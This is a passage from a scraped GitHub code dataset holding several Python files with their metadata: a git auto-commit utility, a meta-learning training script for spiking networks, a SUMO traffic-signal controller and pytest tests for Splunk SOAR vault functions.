"python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "multiprocessing.Process", "line_number": 13, "usage_type": "call"}, {"api_name": "worker.worker", "line_number": 13, "usage_type": "attribute"}, {"api_name": "multiprocessing.connection.Listener", "line_number": 56, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 58, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 62, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 69, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 72, "usage_type": "call"}]} {"seq_id": "243169699", "text": "# -*- coding: utf-8 -*-\n\n\nimport sys\nfrom git import Repo\nfrom argparse import ArgumentParser\nfrom logging import getLogger, StreamHandler, Formatter, INFO\n\n\nTEST_REPO_PATH = \"/data/qa/test_files\"\n\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\nlog = getLogger(__file__)\nlog.setLevel(INFO)\nconsole_handler = StreamHandler(sys.stdout)\nconsole_handler.setLevel(INFO)\nformatter = Formatter(\"%(asctime)s: [%(levelname)s]: %(message)s\")\nconsole_handler.setFormatter(formatter)\nlog.addHandler(console_handler)\n\n\ndef check_diff(diff):\n if not diff:\n return []\n changed_files = []\n change_types = [\"A\", \"D\", \"R\", \"M\"]\n for ct in change_types:\n for diff_item in diff.iter_change_type(ct):\n log.info(\"Diff (%s): %s\" % (ct, diff_item.a_path))\n changed_files.append(diff_item.a_path)\n return changed_files\n\ntry:\n parser = ArgumentParser(description=\"Тестовый скрипт для коммита.\")\n parser.add_argument(\"-c\", action=\"store\", dest=\"comment\",\n required=True,\n help=\"Комментарий к коммиту\")\n args = parser.parse_args()\n\n\n repo = Repo(path=TEST_REPO_PATH)\n index = repo.index\n\n changed_files = check_diff(index.diff(None))\n if changed_files:\n index.add(changed_files)\n log.info(\"Commit with comment: %s\" % args.comment)\n index.commit(args.comment)\n\n\n origin = repo.remotes.origin\n log.info(\"Pull\")\n fetch_info = origin.pull()[0]\n log.info(\"Fetch Info: %s\" % fetch_info)\n log.info(\"Push\")\n origin.push()\n\n log.info(\"Check Conflicts\")\n\n index = repo.index\n changed_files = check_diff(index.diff(None))\n if changed_files:\n log.warning(\"Остались неразрешенные конфликты.\")\nexcept Exception as ex:\n log.warning(\"Ошибка: %s. Возможно неразрешенные конфликты.\" % ex)\n", "repo_name": "sputnik-load/loadtest", "sub_path": "utils/pushf.py", "file_name": "pushf.py", "file_ext": "py", "file_size_in_byte": 1929, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.setdefaultencoding", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 16, "usage_type": "argument"}, {"api_name": "logging.StreamHandler", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 18, "usage_type": "argument"}, {"api_name": "logging.Formatter", "line_number": 19, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 36, "usage_type": "call"}, {"api_name": "git.Repo", "line_number": 43, "usage_type": "call"}]} {"seq_id": "38427598703", "text": "import argparse\nimport copy\nimport json\nimport functools\nimport logging\nimport os\nimport sys\nimport time\n\nimport torch\n\nimport data\nimport energy\nimport models\nimport train\nimport utils\n\nfrom utils import config\n\n\nclass PartialFmodule:\n \"\"\"\n Monkeypatch the forward method of a fmodule to use a specific set of parameters.\n \"\"\"\n def __init__(self, fmodel, params):\n self.fmodel = fmodel\n self.params = params\n self.forward = functools.partial(self.fmodel.forward, params=self.params)\n\n def __call__(self, args):\n return self.forward(args)\n\n def __getattr__(self, attr):\n \"\"\"\n Overwrite forward/__call__ via `getattr` hacking.\n \"\"\"\n return getattr(self.fmodel, attr)\n\n\ndef load_default_config(dataset, method_outer, method_inner):\n \"\"\"\n Load default parameter configuration from file.\n\n Returns:\n Dictionary of default parameters for the given task\n \"\"\"\n if dataset == \"sinusoid\" and method_outer == \"bptt\" and method_inner == \"bptt\":\n default_config = \"config/bptt_sinusoid_bptt.json\"\n elif dataset == \"sinusoid\" and method_outer == \"bptt\" and method_inner == \"eprop\":\n default_config = \"config/bptt_sinusoid_eprop.json\"\n elif dataset == \"sinusoid\" and method_outer == \"tbptt\" and method_inner == \"eprop\":\n default_config = \"config/tbptt_sinusoid_eprop.json\"\n else:\n raise ValueError(\n \"Default configuration for dataset \\\"{}\\\", method_outer \\\"{}\\\" and method_inner \\\"{}\\\" not defined.\".format(\n dataset, method_outer, method_inner\n )\n )\n\n with open(default_config) as config_json_file:\n cfg = json.load(config_json_file)\n\n return cfg\n\n\ndef parse_arguments(args):\n \"\"\"\n Parse shell arguments for this script and return as dictionary\n \"\"\"\n parser = argparse.ArgumentParser(description=\"Contrastive metalearning hyperparameters.\")\n\n # Default model and dataset are defined here\n parser.add_argument(\"--dataset\", choices=[\"sinusoid\"],\n default=\"sinusoid\", help=\"Dataset.\")\n\n parser.add_argument(\"--method_outer\", choices=[\"bptt\", \"tbptt\"],\n default=\"tbptt\", help=\"Outer learning algorithm.\")\n\n parser.add_argument(\"--method_inner\", choices=[\"bptt\", \"eprop\"],\n default=\"eprop\", help=\"Inner learning algorithm.\")\n\n parser.add_argument(\"--log_dir\", type=str, default=\"\",\n help=\"Subdirectory within ./log/ where to store logs.\")\n\n parser.add_argument(\"--seed\", type=int, default=argparse.SUPPRESS, help=\"Random seed for pytorch\")\n\n # Parse arguments to dictionary\n return vars(parser.parse_args(args))\n\n\ndef meta_test(model, meta_loader, loss_function_inner, loss_function_outer, steps_train, batch_size, optmizer_name, optimizer_kwargs):\n\n # Save the model to be restored after testing\n model_state = copy.deepcopy(model.state_dict())\n\n meta_train_metrics = torch.zeros(len(meta_loader))\n meta_test_metrics = torch.zeros(len(meta_loader))\n\n for task_idx, ((x_train_batch, y_train_batch), (x_test_batch, y_test_batch)) in enumerate(meta_loader):\n x_train, y_train = x_train_batch.squeeze(0), y_train_batch.squeeze(0)\n x_test, y_test = x_test_batch.squeeze(0), y_test_batch.squeeze(0)\n\n # Restore the model state\n model.load_state_dict(model_state)\n\n # Initialize the inner-level optimizer\n optimizer = utils.create_optimizer(optmizer_name, model.parameters(), optimizer_kwargs)\n\n # Wrap the training data into a dataloader\n train_loader = data.tensors_to_loader([x_train, y_train], shuffle=True, batch_size=batch_size)\n\n # Train the current task\n train.train(model, steps_train, optimizer, train_loader, loss_function_inner)\n\n # Validation\n with torch.no_grad():\n if meta_loader.dataset.type == \"classification\":\n meta_train_metrics[task_idx] = train.accuracy(model, [(x_train, y_train)])\n meta_test_metrics[task_idx] = train.accuracy(model, [(x_test, y_test)])\n\n elif meta_loader.dataset.type == \"regression\":\n meta_train_metrics[task_idx] = train.loss(model, [(x_train, y_train)], loss_function_inner)\n meta_test_metrics[task_idx] = train.loss(model, [(x_test, y_test)], loss_function_outer)\n else:\n raise ValueError(\"Dataset type \\\"{}\\\" not defined.\".format(meta_loader.dataset.type))\n\n # Restore the model state\n model.load_state_dict(model_state)\n\n return meta_train_metrics, meta_test_metrics\n\n\ndef run_bptt_rsnn(cfg, raytune=False):\n # Initialize seed if specified (might slow down the model)\n if cfg['seed'] is not None:\n torch.manual_seed(cfg['seed'])\n\n # Create the training, validation and test dataloader\n meta_train_loader, meta_valid_loader, meta_test_loader = data.get_dataloader(\n cfg[\"dataset\"], meta_batch_size=cfg[\"meta_batch_size\"], num_batches=cfg[\"steps_outer\"], **cfg[\"dataset_kwargs\"]\n )\n\n # Determine the neural network dimensions based on the dataset dimensions\n network_dims = [meta_train_loader.dataset.input_dim] + cfg[\"hidden_layers\"] + [meta_train_loader.dataset.output_dim]\n\n # Initialise the base energy and cost function (to be augmented based on the chosen model)\n if meta_train_loader.dataset.type == \"classification\":\n loss_function_inner = energy.CrossEntropy()\n loss_function_outer = energy.CrossEntropy()\n\n elif meta_train_loader.dataset.type == \"regression\":\n loss_function_inner = energy.MeanSquaredError()\n loss_function_outer = energy.MeanSquaredError()\n\n else:\n raise ValueError(\"Dataset type \\\"{}\\\" not defined.\".format(meta_train_loader.dataset.type))\n\n if cfg[\"model\"] == \"rsnn\":\n base_learner = models.RecurrentSpikingNetwork(\n network_dims, cfg[\"tau_hidden\"], cfg[\"tau_output\"], cfg[\"step_size\"],\n cfg[\"lr_modulate\"], feedback_align=cfg[\"feedback_align\"]\n ).to(config.device)\n\n loss_function_inner += energy.MeanFiringRate(target=cfg[\"activity_reg_target\"], strength=cfg[\"activity_reg_strength\"])\n\n else:\n raise ValueError(\"Model type \\\"{}\\\" undefined\".format(cfg[\"model\"]))\n\n # Initialise the outer-level optimizer\n optimizer_outer = utils.create_optimizer(\n cfg[\"optimizer_outer\"], base_learner.parameters(), {\"lr\": cfg[\"lr_outer\"]}\n )\n\n results = {\n \"grad_norm_free\": torch.zeros(len(meta_train_loader)),\n \"grad_norm_nudged\": torch.zeros(len(meta_train_loader)),\n \"meta_train_train_metrics\": torch.zeros(len(meta_train_loader), meta_train_loader.batch_size),\n \"meta_train_test_metrics\": torch.zeros(len(meta_train_loader), meta_train_loader.batch_size),\n \"meta_valid_train_metrics\": torch.zeros(len(meta_train_loader), len(meta_valid_loader)),\n \"meta_valid_test_metrics\": torch.zeros(len(meta_train_loader), len(meta_valid_loader)),\n \"meta_test_train_metrics\": None,\n \"meta_test_test_metrics\": None,\n }\n\n meta_valid_test_metric_best = None\n\n # Meta-Training\n for step_outer, ((x_train_batch, y_train_batch), (x_test_batch, y_test_batch)) in enumerate(meta_train_loader):\n hyperparams_grad_buffer = [torch.zeros_like(hp) for hp in base_learner.parameters()]\n\n meta_train_train_metrics = torch.zeros(len(x_train_batch))\n meta_train_test_metrics = torch.zeros(len(x_test_batch))\n\n optimizer_outer.zero_grad()\n\n # For each task, train a few steps and compute the hypergrad\n for task, (x_train, y_train, x_test, y_test) in enumerate(zip(x_train_batch, y_train_batch, x_test_batch, y_test_batch)):\n\n # Wrap the training amd test data into a dataloader\n train_loader = data.tensors_to_loader([x_train, y_train], shuffle=True, batch_size=cfg[\"batch_size\"])\n test_loader = data.tensors_to_loader([x_test, y_test], shuffle=True, batch_size=cfg[\"batch_size\"])\n\n # Train the model tracking the computational graph of the updates\n base_learner_func, params, params_init = train.train_differentiable(\n model=base_learner,\n num_steps=cfg[\"steps_inner\"],\n optimizer_name=cfg[\"optimizer_inner\"],\n lr=cfg[\"lr_inner\"],\n train_loader=train_loader,\n loss_function=loss_function_inner,\n custom_grad=cfg[\"grad_eprop\"],\n truncated_length=cfg[\"truncated_length\"],\n max_grad_norm=cfg[\"max_grad_norm\"],\n verbose=not raytune,\n )\n\n # Glue the trained parameters to the functional model for evaluation\n base_learner_adapted = PartialFmodule(base_learner_func, params)\n\n # Compute outer-loss given fine-tuned model\n loss_outer = train.loss(base_learner_adapted, test_loader, loss_function_outer)\n\n # Backpropagate through the subsidary learning process for the outer-loss\n hyperparams_grad = torch.autograd.grad(loss_outer, params_init)\n\n for i, hp_grad in enumerate(hyperparams_grad):\n hyperparams_grad_buffer[i] += hp_grad\n\n # Validation\n with torch.no_grad():\n if meta_train_loader.dataset.type == \"classification\":\n meta_train_train_metrics[task] = train.accuracy(base_learner_adapted, [(x_train, y_train)])\n meta_train_test_metrics[task] = train.accuracy(base_learner_adapted, [(x_test, y_test)])\n\n elif meta_train_loader.dataset.type == \"regression\":\n meta_train_train_metrics[task] = train.loss(base_learner_adapted, [(x_train, y_train)], loss_function_inner)\n meta_train_test_metrics[task] = train.loss(base_learner_adapted, [(x_test, y_test)], loss_function_outer)\n else:\n raise ValueError(\"Dataset type \\\"{}\\\" not defined.\".format(meta_train_loader.dataset.type))\n\n # Average hyperparam update and apply\n optimizer_outer.zero_grad()\n for hp, hp_grad in zip(base_learner.parameters(), hyperparams_grad):\n hp.grad = hp_grad / len(x_train_batch)\n\n optimizer_outer.step()\n\n # Meta-Validation\n meta_valid_train_metrics, meta_valid_test_metrics = meta_test(\n base_learner, meta_valid_loader, loss_function_inner, loss_function_outer, cfg[\"steps_inner\"],\n cfg[\"batch_size\"], cfg[\"optimizer_inner\"], optimizer_kwargs={\"lr\": cfg[\"lr_inner\"]}\n )\n\n # Summary statsistics\n meta_train_train_metric_stdv, meta_train_train_metric_mean = torch.std_mean(meta_train_train_metrics)\n meta_train_test_metric_stdv, meta_train_test_metric_mean = torch.std_mean(meta_train_test_metrics)\n meta_valid_train_metric_stdv, meta_valid_train_metric_mean = torch.std_mean(meta_valid_train_metrics)\n meta_valid_test_metric_stdv, meta_valid_test_metric_mean = torch.std_mean(meta_valid_test_metrics)\n\n # Save best model\n if utils.is_metric_better(\n meta_valid_test_metric_mean, meta_valid_test_metric_best,\n max=True if meta_train_loader.dataset.type == \"classification\" else False\n ):\n best_model = copy.deepcopy(base_learner.state_dict())\n meta_valid_test_metric_best = meta_valid_test_metric_mean\n\n # Logging\n if raytune:\n from ray import tune\n if step_outer == 0:\n meta_train_test_metric_baseline = meta_train_test_metric_mean\n meta_train_test_metric_delta = meta_train_test_metric_mean - meta_train_test_metric_baseline\n\n tune.report(**{\n \"meta_train_train_metric\": meta_train_train_metric_mean.item(),\n \"meta_train_test_metric\": meta_train_test_metric_mean.item(),\n \"meta_train_test_metric_delta\": meta_train_test_metric_delta.item(),\n \"meta_valid_train_metric\": meta_valid_train_metric_mean.item(),\n \"meta_valid_test_metric\": meta_valid_test_metric_mean.item(),\n })\n else:\n results[\"meta_train_train_metrics\"][step_outer] = meta_train_train_metrics\n results[\"meta_train_test_metrics\"][step_outer] = meta_train_test_metrics\n results[\"meta_valid_train_metrics\"][step_outer] = meta_valid_train_metrics\n results[\"meta_valid_test_metrics\"][step_outer] = meta_valid_test_metrics\n\n logging.info(\n \"step_outer: {}/{}, meta_train: train: {:.4f}±{:.4f} \\t test: {:.4f}±{:.4f} \\t meta_valid: train: {:.4f}±{:.4f} \\t test: {:.4f}±{:.4f}\".format(\n step_outer, len(meta_train_loader), meta_train_train_metric_mean, meta_train_train_metric_stdv,\n meta_train_test_metric_mean, meta_train_test_metric_stdv, meta_valid_train_metric_mean,\n meta_valid_train_metric_stdv, meta_valid_test_metric_mean, meta_valid_test_metric_stdv,\n )\n )\n\n config.writer.add_scalars('meta_train', {\n 'meta_train_train_metric': meta_train_train_metric_mean, 'meta_train_test_metric': meta_train_test_metric_mean\n }, step_outer)\n\n config.writer.add_scalars('meta_valid', {\n 'meta_valid_train_metric': meta_valid_train_metric_mean, 'meta_valid_test_metric': meta_valid_test_metric_mean\n }, step_outer)\n\n for name, p in base_learner.named_parameters():\n config.writer.add_histogram('parameter/{}'.format(name), p.view(-1), step_outer)\n\n # Load best model\n base_learner.load_state_dict(best_model)\n\n # Meta-Testing\n meta_test_train_metrics, meta_test_test_metrics = meta_test(\n base_learner, meta_test_loader, loss_function_inner, loss_function_outer, cfg[\"steps_inner\"],\n cfg[\"batch_size\"], cfg[\"optimizer_inner\"], optimizer_kwargs={\"lr\": cfg[\"lr_inner\"]}\n )\n meta_valid_train_metrics, meta_valid_test_metrics = meta_test(\n base_learner, meta_valid_loader, loss_function_inner, loss_function_outer, cfg[\"steps_inner\"],\n cfg[\"batch_size\"], cfg[\"optimizer_inner\"], optimizer_kwargs={\"lr\": cfg[\"lr_inner\"]}\n )\n\n # Summary statistics\n meta_test_train_metric_stdv, meta_test_train_metric_mean = torch.std_mean(meta_test_train_metrics)\n meta_test_test_metric_stdv, meta_test_test_metric_mean = torch.std_mean(meta_test_test_metrics)\n meta_valid_train_metric_stdv, meta_valid_train_metric_mean = torch.std_mean(meta_valid_train_metrics)\n meta_valid_test_metric_stdv, meta_valid_test_metric_mean = torch.std_mean(meta_valid_test_metrics)\n\n # Logging\n if raytune:\n return {\n \"meta_train_train_metric\": meta_train_train_metric_mean.item(),\n \"meta_train_test_metric\": meta_train_test_metric_mean.item(),\n \"meta_train_test_metric_delta\": meta_train_test_metric_delta.item(),\n \"meta_valid_train_metric\": meta_valid_train_metric_mean.item(),\n \"meta_valid_test_metric\": meta_valid_test_metric_mean.item(),\n \"meta_test_train_metric\": meta_test_train_metric_mean.item(),\n \"meta_test_test_metric\": meta_test_test_metric_mean.item(),\n }\n else:\n results[\"meta_test_train_metrics\"] = meta_test_train_metrics\n results[\"meta_test_test_metrics\"] = meta_test_test_metrics\n\n logging.info(\n \"meta_test: train: {:.4f}±{:.4f} \\t test: {:.4f}±{:.4f}\".format(\n meta_test_train_metric_mean, meta_test_train_metric_stdv,\n meta_test_test_metric_mean, meta_test_test_metric_stdv\n )\n )\n\n return results, base_learner\n\n\nif __name__ == '__main__':\n # Load configuration\n user_config = parse_arguments(sys.argv[1:])\n cfg = load_default_config(user_config[\"dataset\"], user_config[\"method_outer\"], user_config[\"method_inner\"],)\n cfg.update(user_config)\n\n # Setup logging\n run_id = time.strftime(\"%Y%m%d_%H%M%S\") + \"_\" + cfg[\"method_outer\"] + \"_rsnn_\" + cfg[\"dataset\"] + \"_\" + cfg[\"method_inner\"]\n utils.setup_logging(run_id, cfg[\"log_dir\"])\n\n # Main\n logging.info(\"Start training with parametrization:\\n{}\".format(\n json.dumps(cfg, indent=4, sort_keys=True)))\n results, model = run_bptt_rsnn(cfg, raytune=False)\n\n # Save the configuration as json\n utils.save_dict_as_json(cfg, run_id, config.LOG_DIR)\n\n # Store results, configuration and model state as pickle\n results['cfg'], results['model'] = cfg, model.state_dict()\n torch.save(results, os.path.join(config.LOG_DIR, run_id + \"_results.pt\"))\n\n # Zip the tensorboard logging results and remove the folder to save space\n config.writer.close()\n path_tensorboard = os.path.join(config.LOG_DIR, run_id + \"_tensorboard\")\n utils.zip_and_remove((path_tensorboard))\n", "repo_name": "smonsays/contrastive-meta-learning", "sub_path": "metaopt_spiking/run_bptt_rsnn.py", "file_name": "run_bptt_rsnn.py", "file_ext": "py", "file_size_in_byte": 16918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "functools.partial", "line_number": 28, "usage_type": "call"}, {"api_name": "json.load", "line_number": 61, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 70, "usage_type": "call"}, {"api_name": "argparse.SUPPRESS", "line_number": 85, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 97, "usage_type": "call"}, {"api_name": "utils.create_optimizer", "line_number": 107, "usage_type": "call"}, {"api_name": "data.tensors_to_loader", "line_number": 110, "usage_type": "call"}, {"api_name": "train.train", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 116, "usage_type": "call"}, {"api_name": "train.accuracy", "line_number": 118, "usage_type": "call"}, {"api_name": "train.accuracy", "line_number": 119, "usage_type": "call"}, {"api_name": "train.loss", "line_number": 122, "usage_type": "call"}, {"api_name": "train.loss", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 136, "usage_type": "call"}, {"api_name": "data.get_dataloader", "line_number": 139, "usage_type": "call"}, {"api_name": "energy.CrossEntropy", "line_number": 148, "usage_type": "call"}, {"api_name": "energy.CrossEntropy", "line_number": 149, "usage_type": "call"}, {"api_name": "energy.MeanSquaredError", "line_number": 152, "usage_type": "call"}, {"api_name": "energy.MeanSquaredError", "line_number": 153, "usage_type": "call"}, {"api_name": "models.RecurrentSpikingNetwork", "line_number": 159, "usage_type": "call"}, {"api_name": "utils.config.device", "line_number": 162, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 162, "usage_type": "name"}, {"api_name": "energy.MeanFiringRate", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.create_optimizer", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 192, "usage_type": "call"}, {"api_name": "data.tensors_to_loader", "line_number": 200, "usage_type": "call"}, {"api_name": "data.tensors_to_loader", "line_number": 201, "usage_type": "call"}, {"api_name": "train.train_differentiable", "line_number": 204, "usage_type": "call"}, {"api_name": "train.loss", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.autograd.grad", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.autograd", "line_number": 224, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 230, "usage_type": "call"}, {"api_name": "train.accuracy", "line_number": 232, "usage_type": "call"}, {"api_name": "train.accuracy", "line_number": 233, "usage_type": "call"}, {"api_name": "train.loss", "line_number": 236, "usage_type": "call"}, {"api_name": "train.loss", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 258, "usage_type": "call"}, {"api_name": "utils.is_metric_better", "line_number": 261, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 265, "usage_type": "call"}, {"api_name": "ray.tune.report", "line_number": 275, "usage_type": "call"}, {"api_name": "ray.tune", "line_number": 275, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 288, "usage_type": "call"}, {"api_name": "utils.config.writer.add_scalars", "line_number": 296, "usage_type": "call"}, {"api_name": "utils.config.writer", "line_number": 296, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 296, "usage_type": "name"}, {"api_name": "utils.config.writer.add_scalars", "line_number": 300, "usage_type": "call"}, {"api_name": "utils.config.writer", "line_number": 300, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 300, "usage_type": "name"}, {"api_name": "utils.config.writer.add_histogram", "line_number": 305, "usage_type": "call"}, {"api_name": "utils.config.writer", "line_number": 305, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 305, "usage_type": "name"}, {"api_name": "torch.std_mean", "line_number": 321, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 323, "usage_type": "call"}, {"api_name": "torch.std_mean", "line_number": 324, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 341, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 353, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 358, "usage_type": "call"}, {"api_name": "utils.setup_logging", "line_number": 359, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 362, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 363, "usage_type": "call"}, {"api_name": "utils.save_dict_as_json", "line_number": 367, "usage_type": "call"}, {"api_name": "utils.config.LOG_DIR", "line_number": 367, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 367, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path", "line_number": 371, "usage_type": "attribute"}, {"api_name": "utils.config.LOG_DIR", "line_number": 371, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 371, "usage_type": "name"}, {"api_name": "utils.config.writer.close", "line_number": 374, "usage_type": "call"}, {"api_name": "utils.config.writer", "line_number": 374, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 374, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 375, "usage_type": "call"}, {"api_name": "os.path", "line_number": 375, "usage_type": "attribute"}, {"api_name": "utils.config.LOG_DIR", "line_number": 375, "usage_type": "attribute"}, {"api_name": "utils.config", "line_number": 375, "usage_type": "name"}, {"api_name": "utils.zip_and_remove", "line_number": 376, "usage_type": "call"}]} {"seq_id": "16643351934", "text": "'''\n@Author: WANG Maonan\n@Date: 2023-08-25 17:09:32\n@Description: Next or Not\n@LastEditTime: 2023-08-28 16:16:53\n'''\nfrom loguru import logger\nfrom .base_tls import BaseTLS\n\nclass next_or_not(BaseTLS):\n def __init__(self, ts_id, sumo,\n delta_time:int=5, \n yellow_time:int=3,\n ):\n super().__init__(ts_id, sumo)\n \n self.delta_time = delta_time # 每隔 5s 做一次动作\n self.yellow_time = yellow_time # 黄灯\n\n assert delta_time > yellow_time, \"Time between actions must be at least greater than yellow time.\"\n assert delta_time < 3600, \"Time between actions must be smaller than 3600s (否则信号灯会自动跳转到下一个相位).\"\n \n self.phase_index = 0 # 目前在第几个绿灯相位\n self.time_since_last_phase_change = 0\n self.is_yellow = False\n self.next_action_time = 0\n \n \n def set_next_phases(self, keep_change:int) -> None:\n \"\"\"是否切换信号灯, keep_change 只可以选择 0 或是 1\n \"\"\"\n assert keep_change in [0, 1], f'Next or Not 动作只可以是 0 或是 1, 现在是 {keep_change}'\n keep_change_signal = bool(keep_change) # 是否切换, keep->True, bool(1), change->False, bool(0)\n if keep_change_signal: # 当相位不改变\n self.sumo.trafficlight.setPhase(self.id, self.phase_index) # setPhase 会立即进行切换, 不会等待当前的 state 结束\n logger.debug('SIM: Time: {}; Keep: Action: {}; Phase Index: {}; State: {};'.format(\n self.sim_step, \n keep_change,\n self.phase_index, \n self.sumo.trafficlight.getRedYellowGreenState(self.id)))\n self.next_action_time = self.sim_step + self.delta_time\n else: # 切换到下一个绿灯相位\n self.next_phase_index = (self.phase_index + 1)%self.num_green_phases\n self.sumo.trafficlight.setPhase(self.id, self.yellow_dict[(self.phase_index, self.next_phase_index)]) # turns yellow\n logger.debug('SIM: Time: {}; Yellow: Action: {}; State: {};'.format(\n self.sim_step, \n keep_change, \n self.sumo.trafficlight.getRedYellowGreenState(self.id)))\n self.phase_index = self.next_phase_index # 切换 phase\n self.is_yellow = True # 目前是黄灯, 下一个切换为绿灯\n self.time_since_last_phase_change = 0\n self.next_action_time = self.sim_step + self.delta_time + self.yellow_time\n\n def update(self) -> None:\n \"\"\"每进行一步仿真, 更新当前时间\n \"\"\"\n self.time_since_last_phase_change += 1\n if self.is_yellow and self.time_since_last_phase_change == self.yellow_time:\n self.sumo.trafficlight.setPhase(self.id, self.phase_index)\n logger.debug('SIM: Time {}; Yellow -> Green: Phase Index: {}; State: {};'.format(\n self.sim_step, \n self.phase_index, \n self.sumo.trafficlight.getRedYellowGreenState(self.id)))\n self.is_yellow = False", "repo_name": "Traffic-Alpha/TransSimHub", "sub_path": "tshub/traffic_light/tls_type/next_or_not.py", "file_name": "next_or_not.py", "file_ext": "py", "file_size_in_byte": 3488, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base_tls.BaseTLS", "line_number": 10, "usage_type": "name"}, {"api_name": "loguru.logger.debug", "line_number": 36, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 36, "usage_type": "name"}, {"api_name": "loguru.logger.debug", "line_number": 45, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 45, "usage_type": "name"}, {"api_name": "loguru.logger.debug", "line_number": 60, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 60, "usage_type": "name"}]} {"seq_id": "40310926978", "text": "from pathlib import Path\n\nimport phantom.rules as phantom_rules\n\n\ndef test_rules_vault_info():\n file_path = Path(__file__).parent / Path(\"assets/sample.txt\")\n container_id = 123\n file_name = \"test_name\"\n metadata = {}\n\n _, _, vault_id = phantom_rules.vault_add(\n file_location=str(file_path),\n container=container_id,\n file_name=file_name,\n metadata=metadata,\n )\n\n success, _, _ = phantom_rules.vault_info(vault_id=vault_id)\n\n assert success\n\n\ndef test_rules_vault_add():\n file_path = Path(__file__).parent / Path(\"assets/sample.txt\")\n container_id = 123\n file_name = \"test_name\"\n metadata = {}\n\n vault_add_success, vault_add_msg, vault_id = phantom_rules.vault_add(\n file_location=str(file_path),\n container=container_id,\n file_name=file_name,\n metadata=metadata,\n )\n\n assert vault_add_success\n assert vault_add_msg == \"Success\"\n assert vault_id == \"a1a7ab3d4e6a4dc80809bfe077bb4373\"\n\n\ndef test_rules_vault_delete():\n file_path = Path(__file__).parent / Path(\"assets/sample.txt\")\n container_id = 123\n file_name = \"test_name\"\n metadata = {}\n\n _, _, vault_id = phantom_rules.vault_add(\n file_location=str(file_path),\n container=container_id,\n file_name=file_name,\n metadata=metadata,\n )\n\n result = phantom_rules.vault_delete(\n vault_id=vault_id,\n file_name=file_name,\n container_id=container_id,\n remove_all=True,\n trace=True,\n )\n print(result)\n\n assert result.get(\"success\")\n assert result.get(\"message\") == \"deleted from vault\"\n", "repo_name": "splunk/pytest-splunk-soar-connectors", "sub_path": "tests/test_vault_rules.py", "file_name": "test_vault_rules.py", "file_ext": "py", "file_size_in_byte": 1632, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 7, "usage_type": "call"}, {"api_name": "phantom.rules.vault_add", "line_number": 12, "usage_type": "call"}, {"api_name": "phantom.rules", "line_number": 12, "usage_type": "name"}, {"api_name": "phantom.rules.vault_info", "line_number": 19, "usage_type": "call"}, {"api_name": "phantom.rules", "line_number": 19, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 25, "usage_type": "call"}, {"api_name": "phantom.rules.vault_add", "line_number": 30, "usage_type": "call"}, {"api_name": 